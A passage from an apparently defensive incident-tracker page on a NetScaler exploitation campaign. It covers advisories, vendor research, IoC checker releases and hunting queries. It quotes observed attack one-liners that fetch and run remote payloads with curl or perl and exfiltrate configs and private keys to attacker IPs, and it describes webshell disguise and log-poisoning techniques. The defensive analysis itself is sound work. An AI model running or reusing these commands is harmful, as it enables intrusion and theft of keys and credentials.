under 0x201 bytes but no limit on entry count) into the same canonicalization request, supporting an unauthenticated path subject to parser acceptance. Binary comparison: the 73.30 and 73.37 nsaaad files differ in only 70 bytes, all inside the vendor .ns_sig section - byte-identical with it removed - so the September CTX697096 fix did not change this routine; the bundled libxml2 is also identical. Stated gaps: no external network-path reproduction (licence limitation), no comparison with the fixed 73.41 build (so the CVE-2026-88779 mapping is evidence-supported but not build-confirmed), and no local result for restart exhaustion, reboot, code execution or persistence; the author also notes Citrix calls the issue a memory overflow while the demonstrated failure is an out-of-bounds pointer read without canary overwrite. The post keeps the command-bearing username record assigned to CVE-2026-88771, not this crash. The nsppe/nsssaaad hashes used are published in the post for reproduction. The mechanism matches the oversized-InclusiveNamespaces-PrefixList crash detail Beazley reported on 4 Oct from incident response - two independent sources now point at the same operation, from reverse engineering and from IR respectively.
- Official advisory
ACSC update: the new SAML issue affects Australian organisations; "crashes, denial of service and potential exploitation"
ASD's Australian Cyber Security Centre adds an "Update 3 October 2026" section to its alert: Citrix has published guidance about a newly identified issue affecting NetScaler deployments that use SAML authentication; a remote attacker exploiting the issue may induce system crashes, denial of service and potential exploitation; and ASD's ACSC is aware of impacts to Australian organisations. It advises organisations using NetScaler SAML authentication to review their configurations, monitor for unusual activity, follow Citrix's advice, contact Citrix support if impacted, and report to ACSC. It states the issue is understood to be separate from CVE-2026-88771 and CVE-2026-88772. This is the first government confirmation of impact from the new SAML issue, and it stops short of the September-patch-bypass claim: awareness of impacts is not the same as a confirmed bypass of 14.1-73.37. Alert first published 28 Sep, page last updated 3 Oct.
- Official advisory
CISA adds CVE-2026-88779 to KEV - third exploited NetScaler CVE; federal deadline 7 Oct
CISA adds CVE-2026-88779 to the Known Exploited Vulnerabilities catalog (catalog version 2026.10.04, released 18:52 UTC), its third NetScaler entry of this campaign after CVE-2026-88771 and CVE-2026-88772 (both 27 Sep). CWE-119, due date 7 Oct 2026, required action: apply mitigations per vendor instructions under BOD 26-04 and CISA's Forensics Triage Requirements (forensicTriage = Yes), or discontinue use of the product if mitigations are unavailable; ransomware use Unknown. The KEV addition confirms the vulnerability is exploited, consistent with the "observed targeted attacks" wording relayed by Tenable.
- Research
Beazley Update 6: 88779 used to force reboots that re-arm the log injection - but 27 Sep patches stop it running; nsaaad crash mechanism detailed
Beazley Security's BSL-A1216 Update 6 (4 Oct) describes the mechanism behind the 4 Oct wave from its incident-response work: attackers attempt to use CVE-2026-88779 to force appliance reboots on hosts that already contain an injected pitboss message, so that after reboot the CVE-2026-88771 maintenance script ns_monuploadd_err.pl reads the injected line and executes the embedded command as root. Key finding: appliances patched on 27 September no longer execute the injected commands, and Beazley has found no evidence of code execution on patched systems - contradicts the earlier fear that the September fixes were fully bypassed. Technical detail for CVE-2026-88779: the crash occurs while nsaaad processes the SAML signature canonicalization settings, specifically an oversized InclusiveNamespaces PrefixList. Timing note carried over from watchTowr and Beazley: ns_monuploadd_err.pl runs periodically, potentially within 24 hours, so code execution can lag well behind the malicious request. The same update adds three exploit-delivery IPs (104.207.47.54, 104.207.46.202, 104.207.32.77), the Sliver download script hash (c2f5532f...) and the second-wave log payloads to the advisory's IoC tables; all are on this page's IoC list.
Sources: [57]
- Research
Checker v1.13 + Gotham 5 Oct update: 88779 attacker IP, Huntback.io decoys, pre-disclosure /saml/login sources, SAML probe hunting, "did it run?" shell-log check
Poppelgaard's checker reaches v1.13 (105 attacker IPs, 15 domains, 34 hashes) in two steps, with third-party indicators carried from their public sources. Gotham Technology Group's 5 October update (shared with permission) adds 138.199.60.5 as an attacker IP - it sent CVE-2026-88779 crash payloads to /saml/login and /cgi/samlauth on 5 October - plus a yellow hunting lead for the 138.199.60.0/24 hosting/VPN range used throughout the SAML attack, and four sources that sent GET /saml/login before disclosure (38.60.206.53, 38.60.212.144, 149.102.254.17, 130.94.19.84). Checker v1.13 (b159493, later refined in 81c7834) adds five Huntback.io decoy IPs that sent the CVE-2026-88771 nx_verify.html injection check (138.199.60.22, 138.199.60.36, 146.70.199.170, 146.70.211.157, 23.162.8.173), randomly named *.receiver webshells in the web folders as a compromise signal (Huntback.io), a Lupovis hunting lead - User-Agent probe/1 with a ~2.8 KB SAMLRequest inflating to 62 KiB, seen on 17 September, before CVE-2026-88779 was public - and Sliver implant file checks: citrix3.bad is reported as compromise, an executable /var/tmp/.host as compromise, any other /var/tmp/.host only as a [CHECK] so a harmless file never turns red on its own. New "did it run?" check (idea from Patrick Wagner's gerGEIGER log analysis in Manuel Winkel's (Deyda) triage script; own implementation): for each login-injection attempt it shows the download hosts named in the payloads (defanged, for firewall/DNS/proxy-log searches), the likely source IP (a Client_ip field in the line, or logon requests in the HTTP access logs within 5 seconds of the attempt, with ns.log timezone differences detected automatically), and whether the payload shows up in a shell command in sh.log, bash.log or CLI shell_command lines - reported as compromise; an admin's grep or cat does not count, and the checker says when the shell logs do not reach back to the first attempt. Fewer false alarms: configuration commands such as add ns acl and bind policy patset lines after applying a mitigation batch are no longer attack lines (failed NITRO/API logins still count, because the injection can sit in the user name), and links alone in a custom theme's resources/*.xml and plugins.xml are no longer red because both hold links by design - script tags, eval and fetch are still reported. A webshell hit now also says that upgrading does not remove a webshell dropped before the upgrade. All new indicators are on this page's IoC list with per-indicator caveats.
Sources: [56]
- Community
Citrix forum: Console relabels to "NS Asset Delivery"; stat denylist command behaviour after patching (unconfirmed)
A customer reports in Citrix's CVE-2026-88779 forum thread (unconfirmed, no Citrix reply) two observations after patching to 13.1-64.28: on-prem NetScaler Console now shows "NS Asset Delivery" where it previously showed "Virtual Patching", and the verification command stat denylist global AAA_REQUEST - which worked before - returns "no such resource", although the signature version (v24) and Denylist flag are ON. Relevant to anyone verifying the Global Deny List mitigation with that command. A follow-up comment (04:25 UTC, same customer) offers the customer's own interpretation - that the GDL signatures apply per firmware to the CVEs known for that build, so an empty stat on the patched build is expected - explicitly not a Citrix statement. No IoCs either way. Verify mitigation state through NetScaler Console rather than one CLI command.
Sources: [133]
- Research
Checker v1.14: config/SSL-key theft payload - ns.conf + all private keys dumped to a random .css, exfil to 81.94.239.8:8877; verdict line for compromised boxes
Poppelgaard's checker reaches v1.14 (106 attacker IPs, 15 domains, 34 hashes) with a config-and-key-theft payload seen in the field: it writes ns.conf and every /nsconfig/ssl/*.key into a random 6-character .css file in /var/netscaler/logon/LogonPoint (example 74tns8.css), sends that file with curl --data-binary to 81.94.239.8:8877, and the attacker then downloads the .css from the Gateway - if it worked, the attacker has the configuration and every private key. New checks: any file under the web folders (any extension) holding ===CONF: / ===KEY: markers, a private key or ns.conf lines is reported as compromise with advice to rotate all keys, certificates and passwords; GET requests for a random 6-character .css directly in LogonPoint are listed with source IP, where HTTP 404 means the dump never landed and HTTP 200 means the file existed and was downloaded (compromise); curl --data-binary @<file> and :8877/ are new exploit strings; 81.94.239.8 added as an attacker IP (single third-party field report, unverified - DEAC Hosting, Latvia; VirusTotal 1 of 92). A new final verdict line reports "VERDICT: COMPROMISED - follow CTX694799" (fixed build) or "COMPROMISED and VULNERABLE - follow CTX694799 first" with exit code 2, replacing the old "follow-up items"/"upgrade now" wording that risked wiping evidence. Community pull requests #4/#5 (feiglein74) add: any .php/.phtml under /var/netscaler/logon and /var/vpn, one-line webshells calling a request parameter as a function, PHP files the Apache error log shows running or that still exist (with first and last dates), setuid/setgid programs under /var, /tmp, /nsconfig, /flash, /home and /root, files dropped in the web folders that were downloaded with HTTP 200, and two field finds from Citrix's own IoC scan - a 2023 CVE-2023-3519-wave webshell at LogonPoint/uiareas/linux/gnuplot.php and a setuid backdoor at /var/rgroupadd (possibly 2023 leftovers; check file dates). A payload writing to a file every appliance has (e.g. /etc/httpd.conf) no longer counts as "the command ran". The release repeats the standing advice: block outbound NetScaler (NSIP/SNIP) traffic to the internet except what it needs - this payload, like the f.pylrk.cc downloads, only works if the appliance can reach the attacker's server.
Sources: [56]
- Research
eSentire TRU maps four exploitation clusters: pre-disclosure webshell, Platypus ~24h post-disclosure, watchTowr-PoC Perl installer, Python reverse shell
eSentire's TRU publishes first-hand cluster analysis of CVE-2026-88771 intrusions it responded to, with hashes and timing. Cluster A (pre-disclosure, early September): a lightweight PHP webshell disguised as nsgtrust.deb among legitimate .deb files in /var/netscaler/gui/vpn/scripts/linux/ - hash 7add390c..., nearly identical to GTIG's "lightweight installer" family; executes code via the HTTP_NSC_CLIENTTYPE header, hijacks the .ico handler in httpd.conf, sets php_flag engine on, sets SUID on /bin/sh, and modifies crontab to remove its own installation artifacts; executed in early September per the compromised host's Apache access logs. Cluster B (3 customers, 28 Sep 16:20-22:41 UTC, ~24 hours post-disclosure): used the legitimate fleet-management tool Platypus for post-compromise activity - curl -k http://62.133.62.80:80/xd7h/x > /.x ; sh /.x fetched a Platypus-server-generated stager (57f9f30c...) that ran a bootstrap script (927c7fbe...), which downloaded the agent from https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest), set PLATYPUS_INSTALL_TOKEN=plt_wqmnjp5jusrcpzicqa2t.gg3s7yppdptle5dyefxj, and enrolled against entretiensol.com:443 (freebsd/amd64 agent hash c98aee75..., unpacked Go; the Linux build was UPX-packed); eSentire notes public reporting associates Platypus with China-nexus actors (Lumen/Black Lotus), and the enrollment command matches the project's own documented installer nearly verbatim. Cluster C (4 customers, 29 Sep 00:52-08:25 UTC, ~36h post-disclosure): used watchTowr's public PoC (published 28 Sep) verbatim - pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X - the Perl installer declares superuser credentials, creates a backdoor NetScaler local superuser by rewriting /flash/nsconfig/ns.conf (removing existing account lines first, including other actors'), tar-archives /flash/nsconfig and exfiltrates it to the same server via curl with wget fallback, deletes itself and the archive, sets setuid+setgid on /bin/sh, writes a Base64-decoded password-protected PHP webshell to /var/netscaler/logon/LogonPoint/.local_journal (placeholder replaced with the SHA-256 of the attacker-chosen password), adds an application/x-httpd-php handler for .local_journal plus Alias /logon/LogonPoint/css/LogonUISimple.html.style.min.css and AliasMatch ^/logon/LogonPoint/css/LogonUISimple.html.style.min.[0-9a-f]+.css$ to /etc/httpd.conf, turns the PHP engine on, reloads Apache with kill -HUP, and prints the webshell URL and password; the script contains LLM-style comments, suggesting AI was used to generate it, and the CSS alias makes webshell requests look like benign CSS fetches in Apache logs. Cluster D (1 customer, 29 Sep 11:20 UTC, watchTowr PoC): curl -o /var/1.py http://23.27.143.20:9000/main.py;python /var/1.py - the installer writes a Python reverse shell to C2 45.141.21.130 (ASN 214961, Stellar Group SAS) into /var/python/bin/customsnmpd, kills any running customsnmpd, and how the shell is started is unclear (likely a separate exploit command). TRU isolated the affected hosts proactively. The hashes and paths were mostly already on this site's IoC list from Arctic Wolf, LevelBlue and TENEX reporting; this blog adds the filename nsgtrust.deb, exact cluster timing, the stager/bootstrap chain hashes (57f9f30c.../927c7fbe...), the artifact-cleanup detail, and the LLM-comment observation. Key lesson per TRU: exploitation resumed within roughly 24 hours of disclosure, so patch windows are hours, not weeks.
- Research
Rapid7 MDR: earliest exploitation 20 Sep by 149.104.78.208 - config/keys archived to the web-served /vpn/c; two organisations compromised
Rapid7's ETR blog (updated 6 Oct) details what its MDR observed: the earliest CVE-2026-88771 exploitation attempt in its telemetry was 20 September 2026 14:28:43 UTC from 149.104.78.208 - only two attempts that day, not yet widespread. The injected username (a fake pitboss "missed too many heartbeats" line) ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, which archives /flash/nsconfig into the publicly served /var/netscaler/gui/vpn/ folder: ns.conf (encrypted nsroot and admin passwords, LDAP/RADIUS/TACACS bind passwords), the ssl/ directory (certificates and private keys), SSH host keys and license files. Once the command runs, any unauthenticated GET https://<gateway>/vpn/c returns the archive with no login. Rapid7 identifies two organisations compromised through CVE-2026-88771: this command injection, and a .ctxs.receiver webshell at /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver (SHA-256 ed082f74..., observed 24 September - the same sample IFIN relayed from Reddit, now vendor-confirmed). The checker v1.11 carried 149.104.78.208 with a Rapid7 attribution and the /vpn/c tar detail; the tar archive /vpn/c is already a compromise check in the checker (HTTP 200 on /vpn/c = the config archive was likely downloaded). Also in this update: the 6-crash-then-reboot behaviour of CVE-2026-88779 and the October content-release checks. All indicators are on this page's IoC list.
- Research
watchTowr publishes honeypot post-exploitation analysis and a public IoC repository for CVE-2026-88771
From thousands of exploitation attempts captured on real NetScaler sensor appliances, watchTowr details: (1) PoC-class probes writing id output to /var/tmp (wtw888, cve88771, cve88771_round2) and to web-served paths; (2) a compiled Sliver C2 implant staged to /var/vpn/ns_helper with a 60-second beacon and a hardcoded Chrome-on-Linux User-Agent; (3) attackers re-using the publicly documented .ctxs.receiver webshell by hunting for its leaked CsrfToken password; (4) a trojanized, statically linked Dropbear SSH 2025.88 build listening on tcp/37512 with a hardcoded password support1 and an embedded RSA-2048 key - effective only where the port is exposed via ns.conf; (5) a Perl stager (update_c08937.pl) minting a gw_health superuser in /flash/nsconfig/ns.conf and dropping a password-keyed PHP webshell to LogonPoint/.local_journal behind a LogonUISimple.html.style.min.<hex>.css alias - which fails in the default configuration because nsppe strips the Set-Cookie header the shell needs for its session; and (6) a spray-and-pray operator planting SSH keys in /root/.ssh, /nsconfig/ssh and /nsconfig/.ssh, spraying webshells across 14 directories and exfiltrating secrets including LLM API keys (OPENAI, ANTHROPIC, GEMINI and CLAUDE environment variables). watchTowr also claims that a process crash via CVE-2026-88772 or CVE-2026-88779 triggers a warm reload that executes the last poisoned log line instantly - watchTowr's own claim, consistent in mechanism with the Beazley 4 Oct reboot analysis but not vendor-confirmed, and on builds patched since 27 Sep the fixed ns_monuploadd_err.pl no longer executes injected lines. watchTowr advises capturing volatile forensics before restart, patch or re-imaging. Its IoC repository adds 47 source IPs, OOB callback domains, the backdoor account and five hashes.
- Official advisory
NVD publishes CVE-2026-107406 (status Received, later Awaiting Analysis); not in CISA KEV
NVD received the CVE-2026-107406 record at 22:17 UTC with the CNA (NetScaler) description and the CVSS v4.0 9.5 Critical score carried as Secondary; NVD analysis has not started (status moved to Awaiting Analysis on 10 Oct, last modified 10 Oct 04:18 UTC). The CISA KEV catalog (version 2026.10.08, released 20:09 UTC the same day) does not contain CVE-2026-107406 - re-checked against catalogs through 2026.10.13 on 14 Oct - and no exploitation has been publicly confirmed. Per secondary coverage of Citrix's customer guidance, Citrix says it is not aware of any unmitigated exploits of this vulnerability.
- Research
Poppelgaard checker v1.15 and v1.16: WHIPSHOT/SLAPSHOT scan detection, log-reflection technique, SOCRadar "NetScaler C2" agent, CVE-2026-107406 IdP/SP check
v1.15 (8 Oct): Lupovis shows scanning for the WHIPSHOT/SLAPSHOT webshells started before Mandiant published them, with a 10-step scan since 4 Oct; the checker adds receiver.deb / random 12-character .deb theme-folder probes, the g-suffix .css cache-bypass requests, and detects the log-reflection technique - an actor parks a whole shell script in a tagged User-Agent so it lands in the HTTP access log, then the CVE-2026-88771 injection carries only grep <tag>: /var/log/htt* | sed ... | sh, so filters watching the login field never see the payload. SOCRadar's automated "NetScaler C2" framework injects curl${IFS}-sk${IFS}45.143.130.195:8899/s/<id>|sh and installs a polling agent at /tmp/.nsagent, reported by the checker as compromise. v1.16 (8 Oct): adds the CVE-2026-107406 build and SAML IdP/SP check (verdict VULNERABLE_CVE-2026-107406, exit code 2, also on builds already fixed for CTX697096 and CVE-2026-88779), and - from a community report the same day - an overnight wave of the same login injection fetching https://v5v.in/r.sh?k=<key>|sh; payload host v5v.in and IP 72.5.65.111 added (totals 132 attacker IPs, 18 domains, 38 hashes). Since v1.15 the compromise sweep runs by default on the appliance.
Sources: [56]
- Official advisory
Citrix publishes CTX697191: CVE-2026-107406, SAML memory overflow leading to RCE or DoS, CVSS 9.5 - SAML deployments must upgrade again
Third NetScaler bulletin of the campaign, separate from CTX697096 and CTX697174. Preconditions are SAML SP or IdP with version-dependent scope: on the builds already fixed for the earlier bulletins (14.1-73.37 to 73.41 inclusive, 14.1-FIPS 73.37 to 73.41 FIPS, 13.1-64.23 to 64.28, 13.1-FIPS/NDcPP 37.279 to 37.282) only a SAML IdP (add authentication samlIdPProfile) is affected; on older builds both SP (samlAction) and IdP. Fixed in 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS and 13.1-37.283 FIPS/NDcPP - builds that also carry the CTX697096 and CVE-2026-88779 fixes, so one upgrade covers everything. The bulletin lists no workaround and adds that Secure Private Access Hybrid deployments using NetScaler instances are also affected. This is the third required upgrade in under two weeks for SAML appliances that kept up with the previous bulletins.
Sources: [4]
- Official advisory
CISA revises its NetScaler alert: adds CVE-2026-107406 and CVE-2026-88779, and officially confirms the reboot/re-execution relationship
CISA's alert revision (Last Revised October 9, 2026) does four things: (1) adds CVE-2026-107406; (2) adds CVE-2026-88779 following its 4 Oct KEV addition; (3) states in CISA's own words the mechanism Beazley and watchTowr had described - in unpatched deployments, threat actors may exploit CVE-2026-88779 to force a reboot and accelerate conditions to allow execution of code previously injected through exploitation of CVE-2026-88771 - which upgrades that mechanism from researcher analysis to government confirmation; and (4) urges prompt patching of all ten CVEs and reviewing Citrix compromise guidance. The same day, the Canadian Centre for Cyber Security publishes advisory AV26-1023 and Belgium's CCB/Safeonweb warns about CVE-2026-107406, and press coverage appears at BleepingComputer, The Register, The Hacker News, SecurityWeek and Security Affairs - all quoting Citrix's "not aware of any unmitigated exploits" wording. BleepingComputer also relays Shadowserver figures: more than 21,000 NetScaler-fingerprinted IPs exposed (about 1,500 Gateways, nearly 20,000 ADCs).
- Reported observation Fake PoC repos
Fake PoC repositories appear for CVE-2026-107406; no working exploit exists
Two GitHub repositories named as PoCs for CVE-2026-107406 appear (ApexBreach/CVE-2026-107406-Poc, created 9 Oct 08:34 UTC, and ctroy999/CVE-2026-107406, created 11 Oct 09:11 UTC; Previdian indexes both). Both contain only an identical text-only README describing a hypothetical exploit - no code - and end with "Contact for exploit" via a ProtonMail address and a tinyurl download link. This matches the pattern of exploit-vendor scam repos and of the fake AI-slop PoCs Beaumont warned about for CVE-2026-88771 in September. No working public exploit for CVE-2026-107406 is known; Citrix says it is not aware of any unmitigated exploits, and Previdian's sensors have recorded zero exploitation attempts.
- Research
Binary Defense "Platypwned": first-hand IR on the Platypus fork - two appliances, fork-only privesc/persistence modules, HA-sync gap, two-tier infrastructure; attribution leans financially motivated, not nation-state
Binary Defense's Analysis on Demand and IR team details an intrusion against two NetScaler appliances where CVE-2026-88771/88772 exploitation delivered a private fork of the open-source Platypus RAT (cross-compiled for FreeBSD, packaged as .pl ELF masquerading as Perl, installed via curl | sh with a single-use token per appliance). The fork adds two modules with zero hits across 1,689 public Platypus commits: internal/agent/rootesc (active privilege escalation: sudo/sudo_gtfo abuse, rootexec, takeover_other, purge) and internal/agent/selfpersist (watchdog persistence, timestomping, cleanup, and masquerade identities like "System Health Monitor" and healthd). Agents were built 28 Sep 21:02 UTC; the C2 ingress certificate was issued the same evening 22:00 UTC. Infrastructure: five domains tied by platypus-ingress certificate thumbprints - entretiensol.com and white-guard.pro on 195.123.233.245 (the same server Cluster25 previously tied to a Havoc C2), gurerasfalt.com, garyvard.com and hickoryusedauto.com on the other TENEX C2 nodes; four .com domains were batch-bought on Namecheap within the same second on 20 Aug (aged-expired-domain technique), while white-guard.pro was registered 4 June via Moscow-based REG.RU as the protected tier. Key HA finding: httpd.conf, rc.netscaler, sshd_config and /nsconfig/ssh/ sync to the secondary within about a minute, but webshell directories (/var/netscaler/gui/, /netscaler/ns_gui/, /var/vpn/) do not - both nodes must be triaged separately. Binary Defense gives a lower-confidence profile of financially motivated intrusion operators or initial access brokers in Eastern European/CIS jurisdictions - contrasting with the earlier nation-state/China-nexus characterisations of the Platypus cluster by Beaumont and eSentire/Lumen. Hunting: JARM 40d40d40d0..., three cert thumbprints, masquerade filenames .ns_09343.pl / ns_827664.pl, and a Windows agent (unpacked hash 3754689f..., UPX-packed delivered build consistent with the already-listed 0dcac605...).
Sources: [60]
- Research
NCSC-NZ updates its alert with CVE-2026-107406; MS-ISAC and CIS both state no exploitation reported; CERT-FR advisers formally
New Zealand's NCSC updates its 28 Sep alert (14 Oct local time) with CVE-2026-107406, telling organisations patched per the original advisory that they are still vulnerable to it and that patching is not sufficient to remediate compromised systems. CERT-FR publishes avis CERTFR-2026-AVI-1285 (9 Oct) referring to CTX697191. MS-ISAC advisory 2026-110 and the CIS advisory both state there are currently no reports of CVE-2026-107406 being exploited in the wild, consistent with Citrix, CISA (alert revision, not KEV) and Previdian sensor telemetry (zero attempts).
Detection and hunting for NetScaler compromise
In short: review httpd.conf for PHP handler and AliasMatch changes, look for PHP files in VPN script and media directories, check /bin/sh for setuid, and correlate DTLSv1.0 handshake failures with NSPPE crashes. watchTowr's honeypot analysis (7 Oct) adds the behavioral patterns its sensors saw most: the poisoned log line itself (pitboss ... PPE ... unexpectedly died / missed too many heartbeats followed by shell metacharacters), the stylesheet webshell (Alias/AliasMatch mapping ...style.min.<hex>.css to a hidden dotfile, bursts of POSTs to /logon/LogonPoint/css/*), unexpected egress DNS/HTTP from the appliance to OOB domains, and rogue superuser accounts in /flash/nsconfig/ns.conf such as gw_health. Sources: GTIG/Mandiant, CERT-EU, GreyNoise and watchTowr, as of 9 October 2026. [51][39][44]
A clean scan does not clear a host. A checker can miss a planted webshell, especially when logs have rotated or permissions were changed.
TENEX: finding the Platypus agent Network and host
- On the appliance:
/netscaler.local/and a Perl-namedns_*.plthat is not a real appliance script, and/var/core/.ns-cache/holdingclient.crtandclient.key(present only if the agent enrolled). - On the network:
POST /api/v1/agents/enrollwith anapplication/x-protobuf-platypus-v2content type, a WebSocket to/api/v1/agent/linkover mutual TLS, and the_platypus-mesh._tcpmDNS service on UDP/5353, which also finds a second infected host on the segment. - Pivot on the shared cluster certificate, its public-key hash or the embedded signing key, not on file hashes: the operator rebuilds, so hashes are short-lived.
- An upgrade keeps persistent storage, so the agent's files survive patching. A fixed build tells you it was patched, not that it is clean.
Source: TENEX. Appliance logs show attempts reaching the handler, not that commands ran.
Poppelgaard checker Script, v1.14
A free, read-only shell script for the appliance (sh ctx697096_check.sh --ioc) that checks fixed-build status and public indicators, and tags each attack line as before or after the fix. Release 1.11 (2 Oct) adds a SAML status check based on Citrix's new guidance. Release 1.9 (1 Oct) adds Arctic Wolf's nsmon.pl implant, the Unit 42 .deb webshell and more attacker IPs. Its author says a clean result is not proof of a clean box; run it before rebooting or upgrading, and use it together with the Citrix IoC scan.
Source: Poppelgaard on GitHub. A third-party tool; read it before you run it on a production appliance.
New SAML issue (2 Oct) Citrix guidance
- Check your configuration for
add authentication samlAction.*andadd authentication samlIdPProfile.*. Citrix says an appliance with either, on a Gateway or AAA virtual server, is affected. [2] - Beaumont's grep for authentication-daemon crashes and restarts in
/var/log/ns.log:proc nsaaad.*(SIGNALED|EXITED)|maximum number of restarts|Pitboss declaring system failure|All monitored processes have exited, rebooting. A match is a lead, not proof. [98] - The write-up screenshotted in that post also suggests: preserve the logs and any
nsaaad-*.gzcores (ls -lt /var/core), check for a file/v, and check outbound firewall records for connections to213.209.159.55:443and*.pyrlink.cc(sic — the screenshot's spelling; the registered domain ispylrk.cc). It stresses that a negative search covers only retained logs and that attempts are not confirmed execution. Unverified, author not named. [98] - Citrix has released a responder policy as a mitigation, distributed through Citrix Support (3 October, under NDA). It is not in the public post yet. The Poppelgaard checker verifies whether it is bound, alongside the earlier
RSP_POL_DROPand communitypol_samlauth_block_v2policies, and warns when a policy is bound but the Responder feature is disabled - the policy is then silently ignored. Beaumont reports the Support-shared policy "doesn't work for me" (Oct 2) and that "the Citrix support mitigations don't appear to work" (Oct 3). [56] - On Citrix's post, a commenter (Jens Dellner) asks why Citrix has not published a Global Deny List of known-malicious IPs for this issue; Citrix has not replied. The site's blocklists are a partial stand-in, built only from public IoCs. [2]
- Block
*.pylrk.ccinbound and outbound (this site's recommendation, matching NCSC-NL's guidance of 3 October): inbound, the actor uses the domain as a payload-delivery source for the SAML attack; outbound, the FreeBSD Sliver implant found on compromised appliances beacons to it as C2 (hardcodedhttps://www.pylrk.ccin the implant, which also resolves its C2 via DNS). Use the domain blocklist (plain version). Never block the resolved Cloudflare proxy IPs — block the DNS name. Hunt rather than only block: DNS and proxy logs for*.pylrk.cctell you whether an appliance reached the domain before your block was in place.
Citrix says this is independent of CTX697096 and a bulletin is planned. Check the Citrix post for updates.
Unit 42 hunting query XQL
Stage 1 of the CVE-2026-88771 chain writes a Base64 dropper from the User-Agent into /var/log/httpaccess-vpn.log; stage 2 poisons /var/log/ns.log with a fake pitboss message. Unit 42's Cortex XQL query groups the commands found after NSPPE. A hit is log poisoning, not proof of execution on a patched device; on an unpatched device the poisoned entry will run.
dataset = citrix_adc_raw // replace with citrix_netscaler_raw if required
| filter _raw_log contains "pitboss"
| alter log_type = arrayindex(regextract(_raw_log, "<[^>]+>(?:[A-Za-z]{3}[ ]+[0-9]{1,2}[ ]+|[ ]+[0-9]{2}/[0-9]{2}/[0-9]{4}:)[0-9]{2}:[0-9]{2}:[0-9]{2}.+default ([\w]+)"), 0),
log_sub_type = arrayindex(regextract(_raw_log, "<[^>]+>(?:[A-Za-z]{3}[ ]+[0-9]{1,2}[ ]+|[ ]+[0-9]{2}/[0-9]{2}/[0-9]{4}:)[0-9]{2}:[0-9]{2}:[0-9]{2}.+default [\w]+ ([\w]+)"), 0),
command_attempted = arrayindex(regextract(_raw_log, "pitboss PPE unexpectedly died NSPPE(?:\-00|)\;(.+)\>, factor"), 0)
| filter command_attempted != null
| comp earliest(_time) as first_seen, latest(_time) as last_seen, values(log_type) as log_type, count() by command_attempted
Source: Unit 42 threat brief
LevelBlue behaviour signals Not independently confirmed
- Authentication fields with
pitboss,NSPPE,unexpectedly diedor${IFS}next to curl, wget, whoami, perl, python, tar or cat. A command-substitution variant uses backticks instead of semicolons. - New
.local_journal,insight-new.jsorxua.htmlunder/var/netscaler/logon/. - Access to or archiving of
/flash/nsconfig, and asec_monitorsuperuser inns.conf. - Changes to
/var/python/bin/customsnmpd, and/bin/shset to 6555.
Source: LevelBlue SpiderLabs; The Hacker News covers the same findings. [115]
Beazley: where to look Startup and scheduled jobs
Beazley's checklist includes /var/cron/tabs/, the root and nsroot crontabs, /nsconfig/rc.netscaler and /nsconfig/nsafter.sh, and it notes that attackers have used cron jobs to remove forensic artefacts. Beazley lists nsafter.sh as a place to review; it does not report an attacker using it.
Source: Beazley BSL-A1216
CERT-EU hunting patterns Passive
- base64 strings in the
User-Agentheader that start withINDEX:. PPE missed too many heartbeatsentries in authentication logs.- Check that
httpd.confis intact, for example by looking for the AliasMatch in the IoC table.
Source: CERT-EU writeup
Sygnia: where to look Passive
These are normal appliance files and logs, not IoCs. Sygnia lists them as places to review.
- Web server config:
/etc/httpd.conf,/nsconfig/httpd.conf,/flash/nsconfig/httpd.confand/nsconfig/https.conf. Look for unauthorized AddHandler, SetHandler, Alias, AliasMatch, php_flag or php_value directives. - Startup persistence:
/flash/nsconfig/rc.netscalerand other startup locations. - Shell history and notices:
/var/log/notice.log*,/var/log/sh.log*and/var/log/bash.log*, including attempts to delete/var/coreartifacts. - Web errors:
/var/log/httperror*for unexpected files in web-accessible directories. A missing-file request is not the same as a file being created or run. - Permissions:
/bin/shwith mode 6555, or any unexplained setuid or setgid change.
Execution may be delayed, so Sygnia advises correlating suspicious requests with host and network activity for at least 24 hours.
Source: Sygnia advisory
CISA SIGMA rule TLP:CLEAR
CISA's Code & Media Analysis team published a SIGMA detection rule (added to the CISA alert on October 2) covering known exploitation and post-exploitation activity for CVE-2026-88771 and CVE-2026-88772. It hunts the pitboss PPE unexpectedly died and PPE missed too many heartbeats messages, INDEX: base64 user-agent strings, /nf/auth/doAuthentication.do requests combined with the crash messages, the .ctxs.receiver webshell path combined with the nsgclient18.deb droppers or ns_monuploadd_err.pl, and base64-decode piped-to-shell patterns. Rule status is "test"; CISA says it may update the rule as more information becomes available, and recommends converting it with a local Sigma installation.
Source: CISA SIGMA Rules repository; CISA alert, updated Oct 2. Every keyword in the rule was already on this page's IoC table and detection cards; the rule bundles them into SIEM queries.
CIRCL TR-100 Config check
For each CVE, CIRCL gives CLI commands that check whether your appliance's configuration exposes it. Run them on appliances you administer.
Source: CIRCL TR-100
Citrix Console IoC checker Limits per Beaumont Validated
- Available only through support or under NDA. [88]
- Incomplete: it does not check for suid on
/bin/sh. [91] - Citrix's own documentation says the IoC information "might be of limited forensic value and might fail to identify actual compromises", and advises retaining experienced forensic investigators. [15]
- In the field, the Console scanner has flagged base64 content referencing the
.ctxs.receiverwebshell, "Certificate digest verification failed" (possibly tampered certificate or key files) and "Binary Fingerprinting detected", according to one practitioner's notes. [135] - Citrix also points to Console File Integrity Monitoring for unexpected file changes, and recommends forwarding NetScaler logs to an external SIEM. [13]
- The bulletin text itself lists no generic IoCs: they come only through the Console scan (version 14.1-73.36 or later, telemetry enabled, started manually) or from Citrix Support. NCSC-NL's 1.0.1 revision says the same. [13][18]
- Misses earlier semi-successful attempts once logs have rotated. [89]
- Citrix keeps updating the detection logic, and Console shows when an update is available. Version 4 was released by 1 October (validated independently). If you scanned earlier, scan again. [15]
The missing suid check and the log-rotation gap were validated independently on 29 September. The NDA point has not been verified.
Beaumont also says Some really big orgs are backdoored after patching still
. That claim is not independently verified. He has asked national CSIRTs (NCSCs) to publish a detection script. [91]
GTIG/Mandiant artefacts and YARA Passive
Successful CVE-2026-88772 exploitation left two log artefacts:
- In syslog, an
SSL_HANDSHAKE_FAILUREwithClientVersion DTLSv1.0andReason "Handshake failure-Internal Error". - In
/var/log/messages, an NSPPE termination logged bypitboss, the watchdog daemon that restarts crashed processes.
Also look for httpd.conf changes that make the web server treat other file types as PHP, such as AddHandler application/x-httpd-php .deb.
